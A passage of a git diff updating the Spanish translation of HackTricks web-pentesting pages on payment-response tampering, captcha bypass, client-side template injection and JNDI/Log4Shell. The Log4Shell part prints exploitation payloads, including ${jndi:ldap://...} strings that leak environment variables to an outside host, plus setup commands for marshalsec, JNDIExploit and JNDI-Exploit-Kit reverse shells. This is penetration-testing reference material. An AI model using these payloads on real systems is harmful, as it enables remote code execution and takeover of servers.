Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} +1. **Interceptar Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago. +2. **Modificar Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index f6b7b2056..c4d03246c 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -1,64 +1,61 @@ -# Captcha Bypass +# Bypass de Captcha {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %} -## Captcha Bypass +## Bypass de Captcha -Para **eludir** el captcha durante **las pruebas del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear varias técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias: +Para **bypassear** el captcha durante las **pruebas del servidor** y automatizar funciones de entrada de usuario, se pueden emplear varias técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias: 1. **Manipulación de Parámetros**: -* **Omitir el Parámetro Captcha**: Evitar enviar el parámetro captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de datos, como cambiar entre datos de formulario y JSON. -* **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro captcha presente pero vacío. +* **Omitir el Parámetro de Captcha**: Evita enviar el parámetro de captcha. Experimenta cambiando el método HTTP de POST a GET u otros verbos, y alterando el formato de datos, como cambiar entre datos de formulario y JSON. +* **Enviar Captcha Vacío**: Envía la solicitud con el parámetro de captcha presente pero vacío. 2. **Extracción y Reutilización de Valores**: -* **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página. -* **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza. -* **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tenga en cuenta que pueden caducar en cualquier momento. -* **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión. +* **Inspección del Código Fuente**: Busca el valor del captcha dentro del código fuente de la página. +* **Análisis de Cookies**: Examina las cookies para ver si el valor del captcha está almacenado y se reutiliza. +* **Reutilizar Valores de Captcha Antiguos**: Intenta usar valores de captcha previamente exitosos nuevamente. Ten en cuenta que pueden expirar en cualquier momento. +* **Manipulación de Sesiones**: Intenta usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión. 3. **Automatización y Reconocimiento**: -* **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatizar el proceso de cálculo. +* **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatiza el proceso de cálculo. * **Reconocimiento de Imágenes**: -* Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, puede identificar cada imagen por su hash MD5. -* Utilizar herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes. +* Para captchas que requieren leer caracteres de una imagen, determina manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, podrías identificar cada imagen por su hash MD5. +* Utiliza herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes. 4. **Técnicas Adicionales**: -* **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo determinado y si este límite se puede eludir o restablecer. -* **Servicios de Terceros**: Emplear servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captcha. -* **Rotación de Sesiones e IP**: Cambiar frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor. +* **Pruebas de Límite de Tasa**: Verifica si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede eludir o restablecer. +* **Servicios de Terceros**: Emplea servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captcha. +* **Rotación de Sesiones e IP**: Cambia frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor. * **Manipulación de User-Agent y Encabezados**: Alterar el User-Agent y otros encabezados de solicitud para imitar diferentes navegadores o dispositivos. -* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utilizar servicios de conversión de voz a texto para interpretar y resolver el captcha. +* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utiliza servicios de conversión de voz a texto para interpretar y resolver el captcha. -## Online Services to solve captchas -### [Capsolver](https://www.capsolver.com/) - -El solucionador automático de captcha de Capsolver ofrece una **solución de resolución de captcha asequible y rápida**. Puede combinarlo rápidamente con su programa utilizando su opción de integración simple para lograr los mejores resultados en cuestión de segundos. Puede resolver reCAPTCHA V2 y V3, hCaptcha, FunCaptcha, datadome, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3, y más. Sin embargo, esto no es un bypass en sí. +## Servicios en Línea para resolver captchas {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %} diff --git a/pentesting-web/client-side-template-injection-csti.md b/pentesting-web/client-side-template-injection-csti.md index d02178117..e046ceb44 100644 --- a/pentesting-web/client-side-template-injection-csti.md +++ b/pentesting-web/client-side-template-injection-csti.md @@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes revisar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Resumen @@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 3705a33de..5e53fcb2f 100644 --- a/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -15,24 +15,16 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** +## Basic Information -
+JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo que los programas Java localicen datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP. -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Información Básica - -JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP. - -### Referencia de Nombres JNDI +### JNDI Naming Reference Los objetos Java pueden ser almacenados y recuperados utilizando Referencias de Nombres JNDI, que vienen en dos formas: -* **Direcciones de Referencia**: Especifica la ubicación de un objeto (por ejemplo, _rmi://server/ref_), permitiendo la recuperación directa desde la dirección especificada. -* **Fábrica Remota**: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota. +* **Reference Addresses**: Especifica la ubicación de un objeto (por ejemplo, _rmi://server/ref_), permitiendo la recuperación directa desde la dirección especificada. +* **Remote Factory**: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota. Sin embargo, este mecanismo puede ser explotado, lo que puede llevar a la carga y ejecución de código arbitrario. Como contramedida: @@ -40,7 +32,7 @@ Sin embargo, este mecanismo puede ser explotado, lo que puede llevar a la carga * **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por defecto desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados remotamente. Si se establece en `true`, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad. * **CORBA**: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo. -Sin embargo, el **Administrador de Nombres**, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que puede permitir la recuperación de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso. +Sin embargo, el **Naming Manager**, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que puede permitir la recuperación de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso. Ejemplos de URLs explotables incluyen: @@ -50,17 +42,17 @@ Ejemplos de URLs explotables incluyen: A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes. -### Ejemplo de JNDI +### JNDI Example ![](<../../.gitbook/assets/image (1022).png>) Incluso si has establecido un **`PROVIDER_URL`**, puedes indicar uno diferente en una búsqueda y se accederá: `ctx.lookup("")` y eso es lo que un atacante abusará para cargar objetos arbitrarios desde un sistema controlado por él. -### Visión General de CORBA +### CORBA Overview -CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Objeto Interoperable (IOR)** para identificar de manera única objetos remotos. Esta referencia incluye información esencial como: +CORBA (Common Object Request Broker Architecture) emplea una **Interoperable Object Reference (IOR)** para identificar de manera única objetos remotos. Esta referencia incluye información esencial como: -* **ID de Tipo**: Identificador único para una interfaz. +* **Type ID**: Identificador único para una interfaz. * **Codebase**: URL para obtener la clase stub. Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica: @@ -72,63 +64,63 @@ Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típi Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir estas conexiones por defecto. -### Contexto RMI +### RMI Context Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA. ### LDAP -Primero que nada, necesitamos distinguir entre una Búsqueda y una Consulta.\ -Una **búsqueda** utilizará una URL como `ldap://localhost:389/o=JNDITutorial` para encontrar el objeto JNDITutorial de un servidor LDAP y **recuperar sus atributos**.\ -Una **consulta** está destinada a **servicios de nombres** ya que queremos obtener **cualquier cosa que esté vinculada a un nombre**. +Primero que nada, necesitamos distinguir entre una Búsqueda y una Búsqueda por Nombre.\ +Una **búsqueda** utilizará una URL como `ldap://localhost:389/o=JNDITutorial` para encontrar el objeto JNDITutorial desde un servidor LDAP y **recuperar sus atributos**.\ +Una **búsqueda por nombre** está destinada a **servicios de nombres** ya que queremos obtener **cualquier cosa que esté vinculada a un nombre**. Si la búsqueda LDAP fue invocada con **SearchControls.setReturningObjFlag() con `true`, entonces el objeto devuelto será reconstruido**. Por lo tanto, hay varias formas de atacar estas opciones.\ -Un **atacante puede envenenar registros LDAP introduciendo cargas útiles** en ellos que serán ejecutadas en los sistemas que las recojan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque MitM en una búsqueda LDAP**, por ejemplo. +Un **atacante puede envenenar registros LDAP introduciendo cargas útiles** en ellos que serán ejecutadas en los sistemas que las recopilan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque MitM en una búsqueda LDAP**, por ejemplo. En caso de que puedas **hacer que una aplicación resuelva una URL JNDI LDAP**, puedes controlar el LDAP que será buscado, y podrías devolver la explotación (log4shell). -#### Explotación de deserialización +#### Deserialization exploit ![](<../../.gitbook/assets/image (275).png>) La **explotación está serializada** y será deserializada.\ -En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus propias clases en el codebase, si no, necesitará abusar de gadgets en el classpath. +En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus propias clases en el codebase, de lo contrario, necesitará abusar de gadgets en el classpath. -#### Explotación de referencia JNDI +#### JNDI Reference exploit -Es más fácil atacar este LDAP usando **referencias JavaFactory**: +Es más fácil atacar este LDAP usando **JavaFactory references**: ![](<../../.gitbook/assets/image (1059).png>) -## Vulnerabilidad Log4Shell +## Log4Shell Vulnerability La vulnerabilidad se introduce en Log4j porque soporta una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefix:name}` donde `prefix` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) donde `name` debe ser evaluado. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución. -[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se antepone automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica. +[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefija automáticamente con `java:comp/env/`. Sin embargo, si la clave misma incluye un **":"**, este prefijo predeterminado no se aplica. Con un **: presente** en la clave, como en `${jndi:ldap://example.com/a}` no hay **prefijo** y se **consulta al servidor LDAP por el objeto**. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas. Por lo tanto, lo único que se necesita para obtener RCE es una **versión vulnerable de Log4j procesando información controlada por el usuario**. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas aplicaciones expuestas a Internet), era muy común tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j **no se utiliza solo para registrar información HTTP, sino cualquier entrada** y datos que el desarrollador indicó. -## Visión General de CVEs Relacionados con Log4Shell +## Overview of Log4Shell-Related CVEs ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]** -Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en el componente `log4j-core`, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite **ejecución remota de código (RCE)**, permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios frameworks de Apache. La solución inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para defensa están disponibles ([Regla 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regla 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)). +Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en el componente `log4j-core`, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite **ejecución remota de código (RCE)**, permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios marcos de Apache. La solución inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para defensa están disponibles ([Regla 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regla 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)). ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]** -Inicialmente calificado como bajo pero luego elevado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto. +Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles diseñadas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resolvió en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto. ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]** -Afectando a **versiones Log4j 1.x** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es un fallo de deserialización no confiable. No hay solución disponible para la rama 1.x, que está al final de su vida útil, y se recomienda actualizar a `log4j-core 2.17.0`. +Afectando a **versiones de Log4j 1.x** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es un fallo de deserialización no confiable. No hay solución disponible para la rama 1.x, que está fuera de soporte, y se recomienda actualizar a `log4j-core 2.17.0`. ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]** -Esta vulnerabilidad afecta al **framework de registro Logback**, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, pero se encontró que el framework era vulnerable, y se han lanzado versiones más nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema. +Esta vulnerabilidad afecta al **marco de registro Logback**, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, el marco se encontró vulnerable, y se han lanzado versiones más nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema. ### **CVE-2021-45105** **\[Alto]** @@ -136,11 +128,11 @@ Log4j 2.16.0 contiene un fallo de DoS, lo que llevó al lanzamiento de `log4j 2. ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) -Afectando a la versión log4j 2.17, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra la posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en el [blog de Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). +Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra la posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en el [blog de Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). -## Explotación de Log4Shell +## Log4Shell Exploitation -### Descubrimiento +### Discovery Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque enviará al menos una **solicitud DNS** a la dirección que indiques en tu carga útil. Por lo tanto, cargas útiles como: @@ -148,7 +140,7 @@ Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque envi * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (usando [interactsh](https://github.com/projectdiscovery/interactsh)) * `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (usando Burp Suite) * `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn)) -* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (usando [huntress](https://log4shell.huntress.com)) +* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com)) Ten en cuenta que **incluso si se recibe una solicitud DNS, eso no significa que la aplicación sea explotable** (o incluso vulnerable), necesitarás intentar explotarla. @@ -156,7 +148,7 @@ Ten en cuenta que **incluso si se recibe una solicitud DNS, eso no significa que Recuerda que para **explotar la versión 2.15** necesitas agregar el **bypass de verificación de localhost**: ${jndi:ldap://**127.0.0.1#**...} {% endhint %} -#### **Descubrimiento Local** +#### **Local Discovery** Busca **versiones vulnerables locales** de la biblioteca con: ```bash @@ -236,7 +228,7 @@ Para **más información** (_como limitaciones en los vectores RMI y CORBA_) **c ### RCE - Marshalsec con carga útil personalizada -Puedes probar esto en la **caja de THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) +Puedes probar esto en la **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) Usa la herramienta [**marshalsec**](https://github.com/mbechler/marshalsec) (versión jar disponible [**aquí**](https://github.com/RandomRobbieBF/marshalsec-jar)). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit: ```bash @@ -256,11 +248,11 @@ e.printStackTrace(); ``` Compila el archivo Java en un archivo de clase usando: `javac Exploit.java -source 8 -target 8`. A continuación, inicia un **servidor HTTP** en el directorio que contiene el archivo de clase con: `python3 -m http.server`. Asegúrate de que el **servidor LDAP marshalsec** haga referencia a este servidor HTTP. -Desencadena la ejecución de la clase de explotación en el servidor web susceptible enviando una carga útil que se asemeje a: +Desencadena la ejecución de la clase de exploit en el servidor web susceptible enviando una carga útil que se asemeje a: ```bash ${jndi:ldap://:1389/Exploit} ``` -**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario. +**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución arbitraria de código. ### RCE - **JNDIExploit** @@ -278,8 +270,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` -Después de leer el código solo un par de minutos, en _com.feihong.ldap.LdapServer_ y _com.feihong.ldap.HTTPServer_ puedes ver cómo se **crean los servidores LDAP y HTTP**. El servidor LDAP entenderá qué carga útil necesita ser servida y redirigirá a la víctima al servidor HTTP, que servirá el exploit.\ -En _com.feihong.ldap.gadgets_ puedes encontrar **algunos gadgets específicos** que se pueden usar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en _com.feihong.ldap.template_ puedes ver las diferentes clases de plantilla que **generarán los exploits**. +Después de leer el código solo un par de minutos, en _com.feihong.ldap.LdapServer_ y _com.feihong.ldap.HTTPServer_ puedes ver cómo se **crean los servidores LDAP y HTTP**. El servidor LDAP entenderá qué payload necesita ser servido y redirigirá a la víctima al servidor HTTP, que servirá el exploit.\ +En _com.feihong.ldap.gadgets_ puedes encontrar **algunos gadgets específicos** que pueden ser utilizados para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en _com.feihong.ldap.template_ puedes ver las diferentes clases de plantilla que **generarán los exploits**. Puedes ver todos los exploits disponibles con **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Algunos útiles son: ```bash @@ -304,7 +296,7 @@ Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste ### RCE - JNDI-Exploit-Kit De manera similar al exploit anterior, puedes intentar usar [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explotar esta vulnerabilidad.\ -Puedes generar las URL para enviar a la víctima ejecutando: +Puedes generar las URLs para enviar a la víctima ejecutando: ```bash # Get reverse shell in port 4444 (only unix) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 @@ -360,20 +352,20 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ### Laboratorios para probar -* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track) -* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar) +* [**LogForge máquina HTB**](https://app.hackthebox.com/tracks/UHC-track) +* [**Try Hack Me sala Solar**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## Explotación Post-Log4Shell -En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **potencialmente posible** **abusar** de algunas características de **Log4J**. +En este [**informe CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es potencialmente **posible** **abusar** de algunas características de **Log4J**. La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html) de Log4j tiene algunas frases interesantes: > A partir de la versión 2.16.0 (para Java 8), la **función de búsqueda de mensajes ha sido completamente eliminada**. **Las búsquedas en la configuración aún funcionan**. Además, Log4j ahora desactiva el acceso a JNDI por defecto. Las búsquedas JNDI en la configuración ahora deben habilitarse explícitamente. -> A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), **solo las cadenas de búsqueda en la configuración se expanden recursivamente**; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven. +> A partir de la versión 2.17.0, (y 2.12.3 y 2.3.1 para Java 7 y Java 6), **solo las cadenas de búsqueda en la configuración se expanden recursivamente**; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven. Esto significa que por defecto puedes **olvidarte de usar cualquier exploit `jndi`**. Además, para 